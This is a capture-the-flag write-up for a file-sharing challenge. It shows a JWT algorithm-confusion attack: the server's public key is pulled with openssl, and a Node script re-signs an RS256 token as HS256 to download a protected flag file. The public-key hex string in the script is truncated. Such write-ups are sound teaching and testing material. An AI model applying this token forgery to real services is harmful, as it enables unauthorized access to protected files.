During lift-off preparation, the main engine hydrogen burnoff system (MEHBS) activation fails. R-Boy gets stuck trying to restore an encrypted back-up of the MEHBS. Another crew member remembers the key is stored on a remote file sharing service. Without a working MEHBS the liftoff cannot continue. Can you help R-Boy find the key for the MEHBS back-up?

On the website we are presented with a list of files to download, codewise is a list of link including a JWT token

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                                     groggy-fan-cat.jpg
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The JWT content is the following

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HEADER:

{
    "typ": "JWT",
    "alg": "RS256"
}

PAYLOAD:

{
    "filename":
    "7b421df11a53e33d929ef4c025f79f83"
}
```

Algorithm: RS256 (private key signing, public key verification) Filename is the md5 on the filename given by the website

Our exploit is about changing the signing algorithm in order to fool the JWT library. When we change it from Private/Public key one to a Static key one the JWT library use the public key as the static key.

The server had a self signed certificate so we supposed that its keys where the same used by JWT. So we dumped the server public key

\$ openssl s_client -showcerts -connect gamebox3.reply.it:20443 </dev/null

Then, we extracted the public key from the certificate and used it in our script to sign a JWT with the filename md5(flag.txt) (flag.txt was on the website filelist, but without a JWT)

```
const jwt = require("jsonwebtoken");

var payload = { filename: "159DF48875627E2F7F66DAE584C5E3A5".toLowerCase() };

var signOptions = {
    expiresIn: "12h",
    algorithm: "HS256"
    };

var pub =
    "2d2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d2d2d2d4943494942496a414e42676
    var p = Buffer.from(pub, "hex");

var token = jwt.sign(payload, p, signOptions);

console.log(token);
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Once we got the correct JWT we used it in the website and downloaded flag.txt

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